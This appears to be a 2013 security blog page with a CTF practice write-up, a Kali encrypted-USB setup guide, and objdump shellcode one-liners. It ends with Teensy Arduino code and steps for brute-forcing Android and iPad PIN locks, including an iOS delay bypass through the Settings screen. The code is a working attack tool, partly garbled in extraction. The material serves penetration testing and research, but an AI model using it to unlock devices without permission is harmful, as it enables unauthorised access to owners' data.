Cyberlympics 2013 Practice Round 1 write-up

Team is participating in the Global Cyberlympics 2013 games, and we have been doing a little practicing before the first round.

Although we missed the practice rounds (I didn't get any e-mails, some of my teammates did...), thanks to my friend Hari from the Indian *.* null team, we obtained the practice round challenge package and played with it a little.

A very quick write-up on the challenges:

Base64 encoded.

Reversed String.

Digraph (a pair of characters used to write one).
Solution: sometimes the older ways are the better ways, this eimwetot is not one of them.

It was a text in hex.

Morse code.

It was a text in binary.

URL Encoded.

Caesar cipher.

Caesar cipher.

Caesar cipher again...

Substitution cipher.
Solution: there is something evil in the way a random substitution works, it makes kewmtyat look normal.

Couldn't find the solution for this one in 10 mins, so we skipped it. Anyone having the solution for this, please comment, or send it to me. Thx!
It was a JPEG file of a QR code.
The order of the chunks: 7862_8200_9525_1556_5490_5706_7466_7251_1055_6218_5220
QR code raw bytes: 40 85 65 54 65 24 54 35 24 10 ec 11 ec 11 ec 11 ec 11 ec 
QR code raw text: VUFRECRA
2 JPEG files, one was a cute bunny, the other one was a QR code again.
Chunk order for the bunny: 4192_9117_7715_4081_2994_6501_4927_3182_4957
Chunk order for the QR code: 4901_3326_4603_1700_2737_6576_6823_5471_9316_1186_4805
QR code raw bytes: 40 95 14 15 85 54 24 14 e5 50 a0 ec 11 ec 11 ec 11 ec 11 
QR code raw text: QAXUBANU
I was too lazy to solve this one. It's a zip file, with a JPEG file named FILECARVE_ME03.JPG within. Again, if you have the solution, please comment, or send it to me. Thx!
Thanks to Uuganjargal Amarsaikhan, The order of the chunks for this one is:
QR code raw bytes: 40 95 95 55 05 24 55 34 54 e0 a0 ec 11 ec 11 ec 11 ec 11
QR code raw text: YUPRESEN
I was too lazy to solve this one too. It's an mp3 file, and I think it's morse code. Once again, if you have the solution, please comment, or send it to me. Thx!
Again, thanks to Uuganjargal Amarsaikhan, the order of the chunks for this one is: 1899_3173_4732_4730_2453_7774_4131_6350_2981_0379
Morse text in the MP3 file: CHUCAPHU

Tuesday, June 11, 2013

Kali Linux 1.0.3 Persistent Encrypted USB Drive


Back in the Backtrack days, I really liked to create an encrypted, persistent, USB thumb drive of my favorite penetration testing distribution. It comes really handy during an engagement, where you can boot from a USB drive, but since you will still work in your client's environment you want to store your findings securely, on an encrypted drive.

With Backtrack, I was basically always following the most recent howto of Kevin Riggins [1].

Now that Kali is out and it has the encrypted drive installation option, I was like:

...because after you boot up your installed USB drive... nothing happens.... it just won't boot! :P

Fixing this is not difficult, but it's quite annoying, so I decided to write this howto for those who would like to find the whole solution in one place, until a fixed ISO is released by the Offensive Security guys.

Installation Steps

The installation steps are basically the same as described in the official documentation [2], so just follow these steps.

You can use a virtual machine (using VirtualBox for example), load the Kali ISO into the virtual CD/DVD, and adding a USB filter on your USB drive (you can find the details explained by Jeremy Druin in [3]). Personally, I used a Live CD, plugged in a USB drive and did the installation on a laptop.

Just a few important remarks:
  1. Erasing a 32 GB thumb drive takes a few hours, but even a 8 GB drive would require some time. Either get prepared for it (I chose to wait and erase it while I was asleep), or skip it.
  2. When you are asked to install GRUB to MBR or first hard disk, choose "No" (or "Cancel", I don't remember the name of the button, but just say decline it). After this, you will be asked to define where to install GRUB. Choose you USB drive. For me, it was /dev/sdb.

Once you are finally done with the installation, boot from the USB drive. I ended up with the following screen (sorry for the poor quality, I made it with my phone):

No worries, we will fix this quickly, based on what I found on the Kali forums [4].

In order to boot Kali from the USB drive, first we have to mount the crypted drive (mine is still sdb5):

(intramfs) cryptsetup luksOpen /dev/sdb5 sdb5_crypt

Here, you have to enter the passphrase you gave during the installation. Then,

(intramfs) lvm vgchange -ay
(intramfs) exit

Once you hit Enter on the exit command, Kali should boot up. :)

However, we are not done yet, since if you reboot, you would have to enter the above again. To make these changes persistent, we need to edit the /etc/crypttab file.

First, you need to get the UUID of your encrypted partition. Run the following command (again, my crypted drive is /dev/sdb5, your's can be different!):

root@kaliusb:~# blkid /dev/sdb5
/dev/sda5: UUID="2cfee723-b12a-49e1-8c1d-a481112c12d0" TYPE="swap"

The above UUID is obviously bogus, it only shows the format. Copy your UUID that you got as output, and open up the /etc/crypttab file. Add one line, so it will look something like this:

# <target name=""> <source device=""> </source> <key file=""> <options>
sdb5_crypt UUID=2cfee723-b12a-49e1-8c1d-a481112c12d0 none luks

OK, we are almost there... save the file and run:

root@kaliusb:~# update-initramfs -u

If you have done everything right, you shouldn't get any error messages and once you reboot, the encrypted drive will be automatically mounted and Kali will boot up from you USB thumb drive.

Happy hacking! :)






Tuesday, June 4, 2013

One-liner to only get the shellcode from objdump

I just love :) Found a real treasure on it today.

This post is just a quick note for me how to get only the shellcode from objdump using a one-liner.

Solution 1

This one is OK, but note that at the second cut, we are getting only 6 columns, so you might need to modify that to fit your needs:

objdump -d ./PROGRAM | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'

Solution 2

This one is actually better, since it does not rely on field widths:

for i in `objdump -d ./PROGRAM | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' `; do echo -n "\x$i" ; done | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'

Happy hacking! :)

Monday, June 3, 2013

Online Brute-forcing Android and iOS PIN Lock with Teensy


So recently I was playing with iOS and Android devices, and saw a video on Hak5 by Darren Kitchen about  Brute-forcing Android PIN Lock with Rubber Ducky (see [1] and [2]). Now, I don't have a Rubber Ducky, only Teensy 2.0 and 3.0 boards and I prefer them anyway, since they are giving me more flexibility (plus, the Teensy 3.0 is pretty powerful too). Also, they are a lot more cheaper :).

I looked for an Arduino code for Teensy, but I only found a similar project for DigiStump's DigiSpark Model A [3], so I decided to write a small, quick and dirty program for Teensy.

Android PIN lock

I bought a USB-OTG cable and stared playing with it. Luckily (or unluckily?), on Android, the only penalty for wrong PINs is 30 seconds after 5 tries. A quick calculation, and you can see that a 4 digit PIN takes a little less than 17 hours to brute-force.

The good news at least is that you are not limited to 4 digits. Android supports PIN lock up to 17 digits (however, I don't know who the hell can remember a 17 digit PIN number...)

Hardware needed

  • Teensy 3.0 or Teensy 2.0 or even Teensy++ 2.0
  • Apple iPad Camera Connection Kit (USB On-The-Go. The USB OTG systems can drop the hosting role and act as normal USB devices when attached to another host - you can get it in every electronic store)
  • USB A type plug (male) to USB MINI-B type (male) cable in case of Teensy++ 2.0 or Teensy 2.0 or USB A type plug (male) to USB MINI-A type (male) cable in case of Teensy 3.0
  • A USB-OTG Android phone :)
The first two hardware parts can be seen on the picture below:


The code was written in the Arduino IDE. I know that the PIN brute-force part can be written using only the loop() without the for loops, like in [3], but I think it is easier to understand the code like this, and I don't think it has any real difference in terms of performance for this case.

Since brute-forcing even a 4 digit PIN takes a little less than 17 hours, you probably will not be able to do it in one run because the battery will die before that, so I decided to define the digitX_start and digitX_stop global variables to  make the setting of the start and end values for the PINs to try more comfortable. This way you can divide the 10000 total combination into five 2000 PIN chunks for example, and between them, you could charge the battery of the target phone.

During the PIN brute-forcing part, the On-Board LED is turned on while we wait 30 seconds between 5 tries in order to indicate that the Teensy it is currently waiting (I shamelessly stole this idea from the code found on [3]).

After all the PINs were tried once, I keep on hitting enter every 2,5 seconds to avoid the automatic screen lock, and start blinking the On-Board LED to signal that the PIN brute-forcing part has finished.

Purpose:  4-Digit PIN Brute Force attack for USB-OTG Android devices using Teensy 3.0
Author:   David Szili
Version:  1.0

// Flag to indicate if the PIN crack is finished or not
int finishedPINcracking = 0;

// Teensy 3.0 has LED on 13
const int ledPin = 13;

// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;

// Where to stop the PIN loops  
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;

void setup()
  // Initialize the digital pin as an output.
  pinMode(ledPin, OUTPUT);
  // Wait 5 seconds to prepare the Android Device

void loop()
  // Make the PIN cracking loops first
  if ( finishedPINcracking == 0 )
    // Start going throuhg all the PIN conbinations
    for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ )
      for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ )
        for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ )
          for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ )
            if ( (digit4 == 4) || (digit4 == 9) ) // Wait for 30 seconds after 5 attempts
              // Enter PIN: convert int to String and concatenate them
              Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
              for ( int timer = 1; timer <= 6; timer++ ) // 6 * 5 seconds = 30 sec
                // Turn on the On-Board LED to indicate it is waiting
                digitalWrite(ledPin, HIGH);
                // Wait 5 seconds and hit Enter
              // Wait 2 more extra seconds, just to be sure
              // Turn off the On-Board LED
              digitalWrite(ledPin, LOW); 
            else // Normal brute-force mode
              // Enter PIN: convert int to String and concatenate them
              Keyboard.print(String(digit1) + String(digit2) + String(digit3) + String(digit4)); 
    // Flip the flag to true
    finishedPINcracking = 1;
  // After the PIN cracking loops, hit Enter to avoid automatic screen lock in case of a successful attack
    // Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
    digitalWrite(ledPin, HIGH);   // Set the LED on
    delay(2500);                  // Wait for 2,5 seconds
    digitalWrite(ledPin, LOW);    // Set the LED off
    delay(2500);                  // Wait for 2,5 seconds


Well, it's plain simple:

  1. Attach the USB-OTG cable to the Phone.
  2. Attach a USB A to USB MINI-A cable (Teensy 3.0) or USB A to USB MINI-B cable (Teensy++ 2.0 or Teensy 2.0) to the USB-OTG cable.
  3. Attach Teensy to the cable.
  4. Bring in the screen lock screen on the Android Phone. You will have 5 seconds by default to do this, but you can change it in the setup().
  5. Have a coffee/tea/lunch/sleep/whatever while you wait for the results :)

iOS Passcode Lock

I also bought an Apple iPad Camera Connection Kit, that allows you to use a USB keyboard with your iPad and I wanted to use my Teensy to perform an online Brute-forcing against the Simple Passcode Lock, which is the default if you set the Passcode Lock.

Passcode validation is performed at two levels in iOS: one at springboard and another one at kernel level. Brute-force attack performed at springboard level locks the device, introduces delays and may lead to data wipe-out.

The delay levels are (on iOS 6.1.2):
  • After the first 6 tries: 1 minute.
  • After the 7th try: 5 minutes.
  • After the 8th try: 15 minutes.
  • After the 9th try: 60 (!!!) minutes, and 60 minutes for each attempt after that,
  • And after too many attempts, your device may display, "[Device] is disabled, connect to iTunes", or just wipe all data :P
Since a Teensy would simulate a person tapping in a Passcode (meaning that we are on springboard level), I don't think this is a feasible attack.

UPDATE (07/06/2013):

I saw a Hackaday [4] post about iOS PIN brute-forcing. Turns out that even though the attack won't work on the "normal" lock screen, if you use a physical keyboard on the Settings menu while you try to change the Passcode settings, you could ignore the delays because of a bug. :)

The whole thing is well explained on Pierre Dandumont's blog [5], except he didn't published any PoC code. I decided to test it out and publish it, since it only works on the Settings screen and it might be patched by Apple later. It takes about 1,5 hour to check every possible combination (I keep a 0,5 sec pause between each try).

Hardware needed

  • Teensy 3.0 or Teensy 2.0 or even Teensy++ 2.0
  • Apple iPad Camera Connection Kit (it's around 30 Euros)
  • USB A type plug (male) to USB MINI-B type (male) cable in case of Teensy++ 2.0 or Teensy 2.0 or USB A type plug (male) to USB MINI-A type (male) cable in case of Teensy 3.0
  • An iPad or an iDevice compatible with the Apple iPad Camera Connection Kit (Unfortunately, this does not include iPhones...)

The Code

Since there are no real restrictions and it should be really quick, there's not a lot a things to explain here. It's basically the same Arduino IDE code as before, but even more simple. I think, the differences should be obvious to everyone after the code for the Android:

Purpose:  4-Digit PIN Brute Force attack for iDevices compatible with 
          the Apple iPad Camera Connection Kit devices using Teensy 3.0
Author:   David Szili
Version:  1.0

// Flag to indicate if the PIN crack is finished or not
int finishedPINcracking = 0;

// Teensy 3.0 has LED on 13
const int ledPin = 13;

// Where to begin the PIN loops
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;

// Where to stop the PIN loops  
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;

void setup()
  // Initialize the digital pin as an output.
  pinMode(ledPin, OUTPUT);
  // Wait 5 seconds to prepare the Android Device

void loop()
  // Make the PIN cracking loops first
  if ( finishedPINcracking == 0 )
    // Start going throuhg all the PIN conbinations
    for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ )
      for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ )
        for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ )
          for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ )
              // Enter PIN: convert int to String and concatenate them
              Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
    // Flip the flag to true
    finishedPINcracking = 1;
  // After the PIN cracking loops, hit Enter to avoid automatic screen lock in case of a successful attack
    // Wait 5 seconds and hit Enter and blink the On-Board LED to indicate it is finished
    digitalWrite(ledPin, HIGH);   // Set the LED on
    delay(2500);                  // Wait for 2,5 seconds
    digitalWrite(ledPin, LOW);    // Set the LED off
    delay(2500);                  // Wait for 2,5 seconds


Like I said, it only works on the Settings screen:

  1. Attach the Apple iPad Camera Connection Kit to the iPad.
  2. Attach a USB A to USB MINI-A cable (Teensy 3.0) or USB A to USB MINI-B cable (Teensy++ 2.0 or Teensy 2.0) to the USB-OTG cable.
  3. Attach Teensy to the cable.
  4. Bring in the Settings screen on the iPad, and choose the "Passcode Lock" menupoint. You will have 5 seconds by default to do this, but you can change it in the setup().
  5. Wait for the result.